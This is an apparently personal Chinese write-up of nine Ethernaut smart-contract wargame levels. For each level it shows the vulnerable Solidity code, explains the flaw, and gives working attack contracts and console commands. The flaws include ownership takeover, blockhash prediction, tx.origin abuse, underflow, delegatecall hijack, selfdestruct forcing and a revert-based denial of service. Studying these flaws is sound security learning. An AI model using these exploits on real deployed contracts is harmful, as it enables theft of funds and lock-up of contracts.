【Ethernaut闯关录】上篇
前言
无意中遇到一个网站【Ethernaut】,类似于ctf
平台一样,该网站有大概30个关卡,每个关卡都会考察一些智能合约的内容,正好把学来的知识实践一下,毕竟纸上得来终觉浅,绝知此事要躬行。
本篇是第一部分,主要涉及构造函数、tx.origin
使用注意事项、整数溢出、delegatecall
、selfdestruct
等知识。
环境准备
- metamask:我使用的是chrome浏览器,安装这个插件比较容易,微软的edge也可以,而且后者下载插件比较简单
- 以太坊测试网:Goerli和Sepolia都可以,测试代币可分别在【1】和【2】处获取,虽然得到的不多,但是足够完成所有关卡了。
- remix:solidity编译器,有桌面版和网页在线版,我是用的是网页版,这是【链接】。桌面版无法连接metamask,有些关卡需要我们部署一些合约,对于remix网页版比较方便。
好,以上条件都准备好以后,我们就可以开启我们的闯关之旅了!
Hello Ethernaut
这一关卡主要是熟悉本游戏的操作运用,不过说实话,本关卡我认为并不是最简单的,没有些脑洞,根本没法通关。
因此在控制台输入以下函数即可通关:
await contract.info()
await contract.info1()
await contract.info2('hello')
await contract.infoNum()
await contract.info42()
await contract.theMethodName()
await contract.method7123949()
await contract.password()
await contract.authenticate('ethernaut0')
Fallback
contract Fallback {
mapping(address => uint) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
// 要求发送过来的小于 0.001
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
// 如果发起方的贡献大于合约拥有者的贡献,则归属权转换
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
// 只有合约拥有者才能发起退款
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
// 注意这里是利用点
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
通关条件:
- 获得合约所有权
- 将合约所有者的余额清零
要想改变合约的owner可以通过两种方法实现:
- 不断调用contribute()函数
- 合约接收没有数据的纯ether(例如:转账函数))
第一个不现实,我们使用第二个。
攻击步骤:
contract.contribute({value: 1}) //首先使贡献值大于0
contract.sendTransaction({value: 1}) //触发fallback函数
contract.withdraw() //将合约的balance清零
Fallout
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
// 调用方份额增加
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
// 向allocator转账数量为 allocations[allocator]
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
// 向发起方转账所有的(合约的)余额
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
通关条件:获得合约所有权。
虽然代码中没有任何关于获取所有权的代码,但是仔细一看,发现构造函数写错了,因此所有人都可以调用Fal1out()
函数来获得权限。
攻击步骤:
await contract.Fal1out({value: 1})
然后submit
Coin Flip
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
// 要猜 side 的变量的值
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
通关条件:将consecutiveWins
增加到10
题意是要我们“猜“上一个区块的哈希值转为uint256
后,除以FACTOR后是不是1,要连续猜对10次,注意每次都要等新区快出现后才调用,否则会触发lastHash == blockValue
。
看上去,很难猜得中,但是实际上区块的哈希我是可以获取到的!在控制台输入help()
发现只有getBlockNumber()
函数可以使用,无法使用blockhash()
函数,看来不能仅使用控制台了。
实际上,我们可以使用一个辅助的合约,在合约中使用blockhash
函数,部署和调用合约,我这里使用remix,然后将其连接到metamask中,连接过程可参考【使用REMIX与METAMASK进行发布智能合约(代币)最全教程】
下面是攻击合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface CoinFlip {
function flip(bool _guess) external returns (bool) ;
}
contract CoinFlipAttack {
// 该地址可以在控制台中输入 `await contract` 获取
CoinFlip constant private target = CoinFlip(0xbE079d11154090c4337c8958c33cD8D5Dc0409B1);
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function attack() public {
uint256 blockValue = uint256(blockhash(block.number-1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
target.flip(side);
}
}
不断调用attack()
函数,直至在控制台调用await contract.consecutiveWins()
的返回值大于10,即可进行提交
Telephone
先看合约代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
通关条件:获取合约的所有权。
代码很少啊,但是很清晰,里边使用了tx.origin
,这个是返回最初发起交易的地址,比如说,A要发送一个交易给B,B将其转发到C,此时对于C来说,tx.origin
就是A
的地址。这么说有点不太正确,引用【登链社区】的说法吧:
msg.sender: 指直接调用智能合约功能的帐户或智能合约的地址 tx.origin: 指调用智能合约功能的账户地址,只有账户地址可以是tx.origin
那我们可以直接部署某个智能合约,在该合约中,调用changeOwner
函数即可。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Telephone {
function changeOwner(address _owner) external ;
}
contract TelephoneAttack {
// 该地址可以在控制台中输入 `await contract` 获取
Telephone constant private target = Telephone(0xAcCE018DCB481A326A05E16f6F33f13C63FcC50A);
function attack() public {
target.changeOwner(msg.sender);
}
}
在控制台输入await contract.owner()
后,如果返回的是我们的用户地址,则说明我们已经成功拿下合约的所有权。
Token
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
通关条件:增加你手中的 token 数量
想要增加我们的代币量,一种方法是合约所有者调用transfer
函数给我们发送代币,但是实际上我们无法冒充合约所有者,因此这种方法并不现实。
实际上本关卡考察的是溢出,uint
是uint256
的别名,该类型数据只能表示$[0,2^{256}-1]$,该类型的数据达到所能表示的最大值后,如果再加1,就会变成0.
我们再来看如何绕过require(balances[msg.sender] - _value >= 0)
。
实际上我们只要调用
await contract.transfer('0xD8D2f3E5833B51a1b38e3e95f65d79C976DFffae', 21)
即可,其中,0xD8D2f3E5833B51a1b38e3e95f65d79C976DFffae
是一个和player
不同的有效账户地址。
因为一开始我们的player
的余额是20,其减去21,由于溢出,balances[msg.sender] - _value
是一个256表示的最大值。
Delatation
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
通关条件:获取Delegation
合约的所有权。
考察的是delegatecall
用法,引用【官方文档】对其的介绍:
有一种特殊类型的消息调用,被称为 委托调用(*delegatecall*) 。它和一般的消息调用的区别在于,目标地址的代码将在发起调用的合约的上下文中执行,并且
msg.sender
和msg.value
不变。 这意味着一个合约可以在运行时从另外一个地址动态加载代码。存储、当前地址和余额都指向发起调用的合约,只有代码是从被调用地址获取的。 这使得 Solidity 可以实现”库“能力:可复用的代码库可以放在一个合约的存储上,如用来实现复杂的数据结构的库。
实际上:
call
:msg
变量会修改为调用者,执行环境为被调用者的运行环境delegatecall
:msg
变量不变,执行环境为调用者的运行环境callcode
:msg
变量会修改为调用者,执行环境为调用者的运行环境
看上去有点绕,举个例子,假如你调用(使用call
的方式)一个合约A中的某个函数,这个函数又使用delegatecall
的方式调用了合约B的函数,如果合约B中的函数发生了状态(storage
)改变,则改变的是A中的状态,同时,在B看来,msg的值是和你相关的(即msg.sender是你的地址)
回归到本关卡,我们要想办法执行fallback()
函数,然后想办法借助delegatecall
函数执行pwn
函数,如此一来,就能改变Delegation
合约中的owner
变量了,具体而言,是改成我们的地址。
delegatecall
用法:
address.delegatecall(二进制编码数据)
二进制编码利用结构化编码函数 abi.encodeWithSignature 获得:
abi.encodeWithSignature("函数签名",逗号分隔的具体参数)
例如abi.encodeWithSignature("f1(uint256,address)",_x, _addr)
对于本关卡,我们可以借助一个合约:
contract T {
function foo() pure public returns(bytes memory result){
result = abi.encodeWithSignature("pwn()");
}
}
部署后,调用foo
函数可以得到返回值0xdd365b8b
。
然后我们可以在控制台中输入:
await contract.sendTransaction({data:'0xdd365b8b'});
然后查询
await contract.owner()
如果是你的地址,则说明成功了。
Force
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/
通关条件:将合约的余额提升至大于0.
去网上看了看别人的做法,才知道是使用selfdestruct
函数
selfdestruct
由以太坊智能合约提供,用于销毁区块链上的合约系统。当合约执行自毁操作时,合约账户上剩余的以太币会发送给指定的目标,然后其存储和代码从状态中被移除。然而,自毁函数也是一把双刃剑,一方面它可以使开发人员能够从以太坊中删除智能合约并在紧急情况下转移以太币。另一方面自毁函数也可能成为攻击者的利用工具,攻击者可以利用该函数向目标合约“强制转账”,此时并不会触发目标合约的fallback函数,因此不需要该合约有任何的payable
函数,从而影响目标合约的正常功能
因此我们借助一个合约:
pragma solidity ^0.8.0;
contract ForceAttack {
function attack(address _addr) payable public {
selfdestruct(payable(_addr));
}
fallback()payable external{}
}
部署后,先往该攻击合约中转入少许以太币,然后再调用attack
函数即可。
Vault
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
通关条件:将变量locked
改为false
.
看上去password
是私有的,我们无法查看,但是这里有点“此地无银三百两”的味道在里边。
private 定义的函数和状态变量只对定义它的合约可见,该合约派生的合约都不能调用和访问该函数及状态变量。
在合约之外,我们仍然可以获取该变量的值,因为智能合约最终都会写进链上,包括storage
,而变量属于storage
。
我们参考web3.js
【文档】,使用getStorageAt函数读取指定内存:
web3.eth.getStorageAt(address, position [, defaultBlock] [, callback])
参数
String
- 用来获取存储值的地址。Number|String|BN|BigNumber
- 存储的索引位置。Number|String|BN|BigNumber
- (可选) 如果传入值则会覆盖通过 web3.eth.defaultBlock 设置的默认区块号。预定义的区块号可以使用"latest"
,"earliest"
"pending"
, 和"genesis"
等值。Function
- (可选) 可选的回调函数,其第一个参数为错误对象,第二个参数为函数运行结果。
我们可以在控制台输入:
await web3.eth.getStorageAt("0x743e4DdB7A7415D8B4B91b6943AdD4749fa6bd27", "1")
其中前面第一个参数是合约的地址,调用contract
可以获取。后面的参数是偏移量。
返回了0x412076657279207374726f6e67207365637265742070617373776f7264203a29
,实际上就是password
变量。
我们将其作为参数,调用unlock
函数即可。
实际上,我们将该密码解码,是一个字符串A very strong secret password :)
King
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
本关卡类似一个庞氏骗局,即任何人只要往该合约充值的钱数A大于上一任国王的钱数B,那他将会变成新的国王,同时旧国王将会得到数量为A的钱。
通关条件:提交实例后,系统将会尝试将王权拿走,你要阻止这一过程,即合约王权不会被更改(别想着往里边充值大量以太币,这个办法行不通)。
本关卡利用点是transfer
。即我们获取王权后,尝试拒绝系统的转账。
智能合约中,有三种方式进行转账,分别是:
send
<address payable>.send(uint256 amount) returns (bool)
向address
转入amount
,如果异常会转账失败,仅会返回false,不会终止执行(合约地址转账),有gas限制,最大2300
transfer
<address payable>.transfer(uint256 amount)
如果异常会转账失败,抛出异常(等价于requi(send()))(合约地址转账),有gas限制,最大2300。
call
<address>.call(bytes memory) returns (bool, bytes memory)
如果异常会转账失败,仅会返回false,不会终止执行(调用合约的方法并转账),没有gas限制.
从上面可以看出,当transfer
出现异常时候,第19、20行就不被执行,即我们应该尝试触发一个异常,借助下面的合约,我们即可完成
pragma solidity ^0.8.0;
contract KingAttack {
constructor(address payable contract_addr) payable {
contract_addr.call{value:0.001 ether}("");
}
fallback()payable external{
// 触发异常,阻止King合约的19、20行的执行
revert();
}
}
我们要先将我们的KingAttack
合约部署,部署的时候同时转入0.001 ether
(因为King合约中的prize
为0.001ether
)。部署完毕后,输入await contract._king()
,如果返回的是我们KingAttack
的地址,则说明我们获得了王权,此时直接提交实例即可。
本文由「黄阿信」创作,创作不易,请多支持。
如果您觉得本文写得不错,那就点一下「赞赏」请我喝杯咖啡~
商业转载请联系作者获得授权,非商业转载请附上原文出处及本链接。
关注公众号,获取最新动态!